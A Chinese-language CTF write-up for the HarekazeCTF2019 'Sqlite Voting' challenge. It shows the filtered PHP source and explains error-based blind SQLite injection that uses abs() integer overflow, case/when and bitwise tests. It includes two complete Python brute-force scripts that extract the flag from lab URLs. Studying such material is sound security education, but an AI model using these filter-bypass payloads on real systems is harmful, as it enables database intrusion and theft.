0x00
前言 最近尝试了一下SQLite
注入。发现不同的数据库中的差距是真的很大。这里记录一下吧。
测试题目: [HarekazeCTF2019]Sqlite Voting
0x01
源码 题目是给了源码的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting(0 ); if (isset ($_GET['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str) { $banword = [ "[\"%'*+\\/<=>\\\\_`~-]" , '\s' , 'blob' , 'load_extension' , 'char' , 'unicode' , '(in|sub)str' , '[lr]trim' , 'like' , 'glob' , 'match' , 'regexp' , 'in' , 'limit' , 'order' , 'union' , 'join' ]; $regexp = '/' . implode('|' , $banword) . '/i' ; if (preg_match($regexp, $str)) { return false ; } return true ; } header("Content-Type: text/json; charset=utf-8" ); if (!isset ($_POST['id' ]) || empty ($_POST['id' ])) { die (json_encode(['error' => 'You must specify vote id' ])); } $id = $_POST['id' ]; if (!is_valid($id)) { die (json_encode(['error' => 'Vote id contains dangerous chars' ])); } $pdo = new PDO('sqlite:../db/vote.db' ); $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}" ); if ($res === false ) { die (json_encode(['error' => 'An error occurred while updating database' ])); } echo json_encode([ 'message' => 'Thank you for your vote! The result will be published after the CTF finished.' ]);
0x02
分析 这里的正则过滤了很多东西。\s
过滤了所有的空白字符。过滤的东西有点离谱。<=>
全都被过滤了,在mysql
中可以使用regexp
或者like
来实现sql盲注。而在sqlite
中没有这种阴间操作。我们要使用别的方法来实现sql
注入。
这里提出一个SQLite
的特性。我们可以使用abs(0x8000000000000000)
来爆出{"error":"An error occurred while updating database"}
的错误。
PS:但是0x8000000000000000这个数字不能太大。如果太大的话,可能直接就会爆出错误,导致我们的语句一直执行不正确。
这里提供一种非常阴间的方法:使用&
操作符来一位一位的爆破。
另外在无法确定回显的情况下,我们可以使用abs(0x8000000000000000)
来爆出错误。同时使用case when then else end
来完成。
这里可以使用abs(case(length(hex(select(flag)from(flag)))&2)when(0)then(0)else(0x8000000000000000000000000)end)
这种方式来判断flag的长度。
PS:这里重点提醒一下。在bp
中要把&
先编码。
这里贴一下爆破脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import binasciiimport requestsURL = 'http://fb2c4efd-6de8-475a-b85c-c31505ea598e.node3.buuoj.cn/vote.php' l = 0 i = 0 for j in range(16 ): r = requests.post(URL, data={ 'id' : f'abs(case(length(hex((select(flag)from(flag))))&{1 << j} )when(0)then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: l |= 1 << j print('[+] length:' , l) table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C' ] = 'trim(hex(typeof(.1)),12567)' table['D' ] = 'trim(hex(0xffffffffffffffff),123)' table['E' ] = 'trim(hex(0.1),1230)' table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B' ] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C" ]} ||{table["F" ]} )' res = binascii.hexlify(b'flag{' ).decode().upper() for i in range(len(res), l): for x in '0123456789ABCDEF' : t = '||' .join(c if c in '0123456789' else table[c] for c in res + x) r = requests.post(URL, data={ 'id' : f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: res += x break print(f'[+] flag ({i} /{l} ): {res} ' ) i += 1 print('[+] flag:' , binascii.unhexlify(res).decode())
这里我们使用replace
来判断十六进制的flag
中是否有相同的字符。基本原理是用replace将已知的flag部分替换为空,通过长度变化与否一位一位爆出来。考虑下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 $ sqlite3 ︙ sqlite> create table flag (flag text); sqlite> insert into flag values ('HarekazeCTF{test}'); sqlite> select length(replace(flag, 'HarekazeCTF{a', '')) from flag; 17 sqlite> select length(replace(flag, 'HarekazeCTF{b', '')) from flag; 17 ︙ sqlite> select length(replace(flag, 'HarekazeCTF{s', '')) from flag; 17 sqlite> select length(replace(flag, 'HarekazeCTF{t', '')) from flag; 4
简单解释一下这个脚本的意思。其实||
在SQLite
中是链接的意思,这里还从原本的数据库中取出了A~F
。但是其实不需要这样的,我们可以两次hex
编码,这样就不会出现字母了。
下面是我稍微修改之后的脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import binasciiimport requestsURL = 'http://9f623b32-d387-4db1-995d-6297852dd2bd.node3.buuoj.cn/vote.php' l = 0 i = 0 for j in range(16 ): r = requests.post(URL, data={ 'id' : f'abs(case(length(hex(hex((select(flag)from(flag)))))&{1 << j} )when(0)then(0)else(0x8000000000000000)end)' }) print(r.text) if b'An error occurred' in r.content: l |= 1 << j print('[+] length:' , l) table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C' ] = 'trim(hex(typeof(.1)),12567)' table['D' ] = 'trim(hex(0xffffffffffffffff),123)' table['E' ] = 'trim(hex(0.1),1230)' table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B' ] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C" ]} ||{table["F" ]} )' res = binascii.hexlify(b'flag{' ).decode().upper() res = '36363643363136373742' for i in range(len(res), l): for x in '0123456789' : t = '||' .join(c if c in '0123456789' else table[c] for c in res + x) r = requests.post(URL, data={ 'id' : f'abs(case(replace(length(replace(hex(hex((select(flag)from(flag)))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: print(f'abs(case(replace(length(replace(hex(hex((select(flag)from(flag)))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' ) res += x break print(f'[+] flag ({i} /{l} ): {res} ' ) i += 1 print('[+] flag:' , binascii.unhexlify(res).decode())
会输出flag
经过十六进制编码后的结果。
0x03
参考学习SQLite注入
:
http://atta.cked.me/home/sqlite3injectioncheatsheet